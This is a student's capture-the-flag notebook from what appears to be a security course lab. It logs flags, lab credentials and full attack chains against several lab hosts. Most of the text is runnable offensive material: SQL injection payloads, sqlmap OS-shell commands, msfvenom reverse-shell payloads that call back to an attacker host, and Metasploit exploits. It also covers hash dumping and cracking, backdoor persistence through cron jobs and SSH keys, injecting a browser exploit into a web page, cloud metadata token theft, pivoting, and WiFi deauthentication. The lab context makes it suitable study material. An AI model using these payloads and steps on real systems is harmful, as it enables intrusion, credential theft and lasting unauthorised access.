**kali kaliOBTAINED FLAGS**

* **10c26e**
  + flag{10c26ecfa126f98a4ca603924046796780d3b45052a9c1}
  + ssh ninjor@10.0.2.88 -o StrictHostKeyChecking=no
* **521bce**
  + flag{521bce090e5b9e19a5e7c2ec9642f27e1d641c5fd72aad}
  + <http://10.0.3.107/php/recherche_old.php>
    - Source code has flag
* **acdb1f**
  + ftp 10.0.2.164
  + Credentials:
    - Username: root
    - Password: admin
  + mget \*
* **de3b1c**
  + flag{de3b1c4c483a24fb05b1552e93e856124ac05209dc1f0a}
  + Running SQL injection on <http://10.0.3.107/php/recherche_old.php>
  + ddd' UNION SELECT 0 AS usID, flag\_id AS usPseudo, flag AS usNom, 0 AS usAvecPhoto FROM flags; -- ddd

**CRASH COURSE**

* @10.0.2.233 -p 1337
* Passwords
  + Level 2: B1r7uI3:suVm:-XX1vql
  + Level 3: T0hmthk.2rqbJFDH8jIx
  + Level 4: me.opv.s0P-79Vxz9iVw
  + Level 5: SSH-2.0-OpenSSH\_7.6p1 Ubuntu-4ubuntu0.6
  + Level 6: RNEdWBPavTFpmlja6\_HC
  + Level 7: iV77Aa:Ycx6FP47NWsXo

**NOTABLE ADDRESSES**

Port 80:

Text

Description automatically generated

Port 21:

Text

Description automatically generated

**Hacking path…**

1. Cuiteur
   1. Found open port 80 on 10.0.3.107
      1. Cuiteur website
      2. Ports open are also 22 (SSH) and
   2. Ran Burpsuite on search bar and found comment with deprecated vulnerable search bar
      1. <!-- old page <a id="btnCherche" href="recherche\_old.php" title="Search for Users to Follow"></a>-->
   3. Ran SQL injection on old search bar (‘ OR 1=1) and got to “Welcome to the Matrix” page
      1. ddd' UNION SELECT 0 AS usID, TABLE\_NAME AS usPseudo, TABLE\_SCHEMA AS usNom, 0 AS usAvecPhoto FROM INFORMATION\_SCHEMA.TABLES; -- ddd
         1. Returns all table names
      2. Graphical user interface, website

         Description automatically generated
         1. All tables where TABLE\_SCHEMA=’cuiteur’
   4. Selected all the columns from the table “flags” to find columns “flag” and “flagId”, then selected those and found flag de3b1c
   5. Ran SQL map on page
      1. sqlmap -u http://10.0.3.107/php/recherche\_old.php --cookie='PHPSESSID=[COOKIE HERE]' --data="recherche=1" --schema –batch
         1. FOR OS SHELL ACCESS
      2. Graphical user interface, text

         Description automatically generatedGot passwords for most users:
   6. Found out you can run load\_file to access files from the system.
      1. ddd' UNION SELECT 0 as usId, 1, load\_file("/etc/passwd"), 3 FROM users; -- ddd
   7. Access Meterpreter on the OS:
      1. sqlmap -u http://10.0.3.107/php/recherche\_old.php --cookie='PHPSESSID=[COOKIE\_HERE]' --data="recherche=1" --os-shell
         1. Creates the backdoor, gives us somewhere to actually upload the payload
      2. msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.0.9 LPORT=1337 -f raw -o ~/Desktop/shell.php
         1. Creates the payload
      3. Open website given by step (i.) and upload the payload shell.php
      4. msfconsole
         1. use exploit/multi/handler
         2. set LHOST 192.168.0.9
         3. set LPORT 1337
         4. set PAYLOAD php/meterpreter/reverse\_tcp
         5. exploit
      5. Access 10.0.3.107/php/shell.php in the browser
      6. On msfconsole:
         1. shell
         2. python3.6 -c 'import pty; pty.spawn("/bin/bash")'
      7. You now have a full shell on the server
         1. /etc/crontab has the cron jobs list
         2. cd /etc/cron.hourly to see what’s running hourly
            1. Changed user “ubuntu”s password in cuiteur-cleaning cron job
            2. New password: password
            3. /bin/echo -e "corner\ncorner" | /usr/bin/passwd ubuntu

Added this line into cuiteur-cleaning file

* 1. Got ssh access into sudo account ubuntu: edit
     1. ssh [ubuntu@10.0.3.107](mailto:ubuntu@10.0.3.107)
     2. password: corner
     3. Added my own public key into ubuntu’s ~/.ssh/authorized\_keys file
  2. sudo tcpdump -i ens4 -nn -s0 -v port 80
     1. Found flag 14ce18
     2. Keep getting page requests from 10.0.7.6. Definitely the IP address I’m meant to access
     3. Inserting <iframe src=””> into /var/www/html/index.php to redirect user to another location (with malware hopefully)
  3. Browser exploit by Metasploit
     1. msfconsole
        1. use exploit/multi/browser/firefox\_webidl\_injection
        2. set PAYLOAD payload/firefox/shell\_reverse\_tcp
        3. set LHOST 192.168.0.9
        4. set LPORT 1234
        5. run
     2. Redirect index.php page to the link that the shell gives you
        1. header("Location: <http://192.168.0.9:8080/dZ4GhhIC>");
     3. Upgrade shell session to meterpreter session
        1. Press enter
        2. sessions -u [session number]
        3. sessions -i [session number]

1. Lazarus
   1. FTP: 
      1. Extracted PNG file from FTP server that was flag name
   2. Scanned all ports for Lazarus, found port 8282
      1. Apache Tomcat config page <http://10.0.2.164:8282>
      2. Username: admin
      3. Password: password
   3. Went into Manager App -> Hack the planet page -> source code. Found flag!
   4. Used msfconsole to get reverse shell access to Windows server
      1. use exploit/multi/http/tomcat\_mgr\_upload
      2. set HttpUsername admin
      3. set HttpPassword password
      4. set RHOSTS 10.0.2.164
      5. set RPORT 8282
      6. set PAYLOAD java/shell\_reverse\_tcp
      7. set LHOST 192.168.0.9
      8. set LPORT 1337
      9. run
   5. Extracted SAM file into C:\ drive using
      1. reg save hklm\sam c:\sam
   6. Created new Windows exe payload with msfvenom
      1. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.103 LPORT=4444 -f exe -o /home/kali/Desktop/rs\_exploitl.exe
   7. Uploaded this file to the Windows server
      1. On local machine: nc -l -p 1400 < ~/Desktop/rs\_exploitl.exe
      2. On remote machine: curl 192.168.0.9:1400 --output C:\innocent\_file.exe
   8. Ran exploit
      1. On local: msfconsole
         1. use exploit/multi/handler
         2. set LPORT 4444
         3. set LHOST 192.168.0.9
         4. execute
      2. On remote: innocent\_file.exe
   9. Got meterpreter access. Got hashes through meterpreter
      1. getsystem
      2. run post/windows/gather/hashdump
   10. Ran John the Ripper on hash file to retrieve passwords
       1. john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt windows\_users.txt
       2. A screenshot of a computer

          Description automatically generated with medium confidence
   11. Added my public key to C:\Users\printer\.ssh\authorized\_keys using the method in 2.g.
       1. Can now ssh [printer@10.0.2.164](mailto:printer@10.0.2.164)
   12. Wrote ipconfig, found server 10.37.146.164. Port 445 open
   13. Finding pivot IPs and pivoting (**CHECK OUT SSH PORT FORWARDING!!!**)
       1. Open meterpreter (follow h.i.)
       2. ipconfig
          1. take note of IPV4 address that is not the same one as the target machine you’re in
       3. run autoroute -s 10.37.146.164
          1. replace the IP address by whatever one you find on step ii.
       4. run autoroute -p to confirm this address has been added
       5. run post/windows/gather/smart\_hashdump
          1. Keep track of hashes
   14. Ran nmap on all services
       1. nmap 10.0.0.0/20
       2. Found telnet address 10.0.2.239
   15. Ran telnet 10.0.2.239
       1. username: goldstein
       2. password: Barragan
       3. Got access to SSH system and found flag!
   16. Injected reverse shell script on server
       1. msfvenom -p linux/x86/shell/reverse\_tcp LHOST=192.168.0.9 LPORT=1337 -f elf > ~/Desktop/shell-x86.elf
       2. On host: nc -l -p 1400 < ~/Desktop/shell-x86.elf
       3. On remote: curl 192.168.0.9:1400 –output ~/shell.elf
       4. On remote: chmod 777 shell.elf
       5. On host: msfconsole
          1. use exploit/multi/handler
          2. set PAYLOAD linux/x86/shell/reverse\_tcp
          3. set LHOST 192.168.0.9
          4. set LPORT 1337
          5. run
       6. On remote: ./shell.elf
       7. On host:
          1. Once the shell connects, Ctrl-Z to background it
             1. sessions -u [session id] to upgrade it into a meterpreter session
             2. use post/multi/recon/local\_exploit\_suggester
             3. set SESSION [meterpreter session id]
             4. run
          2. Graphical user interface, text

             Description automatically generated
          3. use exploit/linux/local/bpf\_sign\_extension\_priv\_esc
          4. set SESSION [meterpreter session id]
          5. set LHOST 192.168.0.9
          6. set LPORT 4444
          7. run
       8. python3.6 -c 'import pty; pty.spawn("/bin/bash")'
       9. Logged in as root :)
          1. cd into home directory gives flag 6be6ef
2. Common Host
   1. Still on meterpreter from Cuiteur…
   2. Find potential privilege escalation exploits
      1. use post/multi/recon/local\_exploit\_suggester
      2. set SESSION [meterpreter session id]
      3. run
   3. Set up SSH port forwarding
      1. On remote machine
         1. ssh -i ~/.ssh/id\_rsa -R 19999:localhost:22 [kali@192.168.0.9](mailto:kali@192.168.0.9)
      2. On local machine
         1. sudo service ssh start
         2. ssh -i ~/.ssh/id\_rsa lord\_nikon@localhost -p 19999
   4. Put my own ssh public key in lord\_nikon’s ~/.ssh/authorized\_keys2
      1. ssh lord\_nikon@10.0.7.6 -p 52961
   5. Ran iproute to scan the network. Found several subnets to scan
      1. nmap -sC --script=banner --version-intensity 5 -p 139,445 10.0.0.0/22
         1. 10.0.2.164 has open ports
      2. nmap -sC --script=banner --version-intensity 5 -p 139,445 10.0.4.0/22
         1. **10.0.6.133** has open ports
   6. Open remote connection to port 445 in 10.0.6.133 through localhost:4444
      1. ssh -L 4444:10.0.6.133:445 [lord\_nikon@10.0.7.6](mailto:lord_nikon@10.0.7.6) -p 52961 -i ~/.ssh/id\_rsa
      2. msfconsole
         1. use exploit/linux/samba/is\_known\_pipename
         2. set RPORT 4444
         3. set RHOSTS 127.0.0.1
         4. run
         5. Root access :)
   7. In root@cloud-hopper
      1. curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true" -H "Metadata-Flavor: Google" -H "X-Cloud-Action: Compute"
         1. Got {"bucket":"en2720-w11-7a411381794a43e8c206623dc23a5596db159d99","sourcerepo":"twmn\_sourcerepo\_en2720-w11"}
         2. bucket=”[above]”
      2. curl "http://metadata.google.internal/computeMetadata/v1/project/project-id" -H "Metadata-Flavor: Google" -H "X-Cloud-Action: Compute"
         1. Got en2720-2017
         2. project=”en2720-2017”
      3. curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" -H "X-Cloud-Action: Compute"
         1. Got ya29.c.b0AUFJQsGZE9Pc-HvPUwJN907Z6IaaNcl9XU9yveaB\_yKQx2UO-kF2kgHWm5rerIxj1Y9QYSjp9Orx2pHLb\_Lyzpbm7KD1yPxE9vccr8w\_vYhqODn-Bwl6PB5CdD7ZNXeWAMk0YuhD5t06jc53H8gNNuuNslM4BdyVFxBgyd8Cqq8WMbYrVE-v9VhQBklYrUdXwd6hi87zuw
         2. token=“ya29.c.b0AUFJQsEg5mH7pZxdyiSkiZp5fWUCzktf-LeIFL1ERapqwllnd5C2SpM6b8WwGM0jZrj37YyE5DSXxj83tFAbpMvTU0laGke35TflLq4Kd5qVU4fhU7tN8OfO1tWt4qUAEVhRfhEhlJRT0BQO91HhSUdKlvoVUqdhKtnxEvjO3qOQfaL85ir4zgTsXWHFbrEnZeceYHty7A”
      4. curl "https://storage.googleapis.com/storage/v1/b/$bucket/o?project=$project" -H "Authorization: Bearer $token" -H "X-Cloud-Action: Storage"
         1. Found flag :)
   8. Still in root@cloud-hopper
      1. curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/sourcerepo" -H "Metadata-Flavor: Google" -H "X-Cloud-Action: Compute"
         1. twmn\_sourcerepo\_en2720-w11
         2. repo=”twmn\_sourcerepo\_en2720-w11”
      2. gcloud source repos clone $repo $project
   9. nmap -sC --script=banner --version-intensity 5 10.0.4.0/22 -p 21
      1. Found **10.0.6.168** open on port 21
   10. Get SSH keys
       1. curl "https://storage.googleapis.com/storage/v1/b/$bucket/o/wifi-ssh-key?project=$project&alt=media" -H "Authorization: Bearer $token" -H "X-Cloud-Action: Storage"
       2. curl "https://storage.googleapis.com/storage/v1/b/$bucket/o/wifi-ssh-key.pub?project=$project&alt=media" -H "Authorization: Bearer $token" -H "X-Cloud-Action: Storage"
       3. Save them on desktop
   11. Remote SSH forward to fancy-bear
       1. ssh -L 19999:10.0.6.168:21 lord\_nikon@10.0.7.6 -i ~/.ssh/id\_rsa -p 52961
       2. ssh razor@127.0.0.1 -i ~/Desktop/wifi-key -p 19999
       3. Inside fancy-bear:
          1. sudo iw dev sta3-wlan0 interface add mon0 type monitor
          2. sudo airodump-ng --output-format pcap --write airoutcap.pcap mon0
          3. sudo aireplay-ng -0 10 -a 50:B0:19:AE:21:EF sta3-wlan0
   12. In Local host:
       1. scp -P 19999 -i ~/Desktop/wifi-key razor@127.0.0.1:/tmp/airoutcap.pcap-01.cap ~/Desktop
       2. aircrack-ng -w /usr/share/wordlists/wifite.txt ~/Desktop/airoutcap.pcap-01.cap
       3. KEY FOUND! [ 1234567890 ]
       4. airdecap-ng -e ellingson-mineral ~/Desktop/airoutcap.pcap-02.cap -p 1234567890
       5. nano ~/Desktop/airoutcap.pcap-02-dec.cap
          1. flag is inside :)

**HOW TO GET TO CLOUD HOPPER**

1. Get session cookie from Cuiteur
2. sqlmap -u http://10.0.3.107/php/recherche\_old.php --cookie='PHPSESSID=[COOKIE\_HERE]' --data="recherche=1" --os-shell
3. Upload shell.php
4. msfconsole
   1. use exploit/multi/handler
   2. set LHOST 192.168.0.9
   3. set LPORT 1337
   4. set PAYLOAD php/meterpreter/reverse\_tcp
   5. exploit
5. msfconsole
   1. use exploit/multi/browser/firefox\_webidl\_injection
   2. set PAYLOAD payload/firefox/shell\_reverse\_tcp
   3. set LHOST 192.168.0.9
   4. set LPORT 1234
   5. run
6. Go to 10.0.3.107/php/shell.php
7. In first shell:
   1. edit /var/www/html/index.php
   2. add header(“Location: [URL]”) where URL is provided by step 5
8. In second shell:
   1. sessions -u 1
   2. sessions -i [new created session number]
   3. edit /home/lord\_nikon/.ssh/authorized\_keys2
      1. Add your SSH key
9. **In home you can now access Buckeye through**
   1. **ssh lord\_nikon@10.0.7.6 -p 52961**
10. ssh -L 4444:10.0.6.133:445 lord\_nikon@10.0.7.6 -p 52961 -i ~/.ssh/id\_rsa
    1. KEEP THIS SSH CONNECTION OPEN
11. msfconsole
    1. use exploit/linux/samba/is\_known\_pipename
    2. set RPORT 4444
    3. set RHOSTS 127.0.0.1
    4. run
    5. python3.6 -c 'import pty; pty.spawn("/bin/bash")'

curl "http://metadata.google.internal/computeMetadata/v1/projects/en2720-2017/repos/twmn\_sourcerepo\_en2720-w11”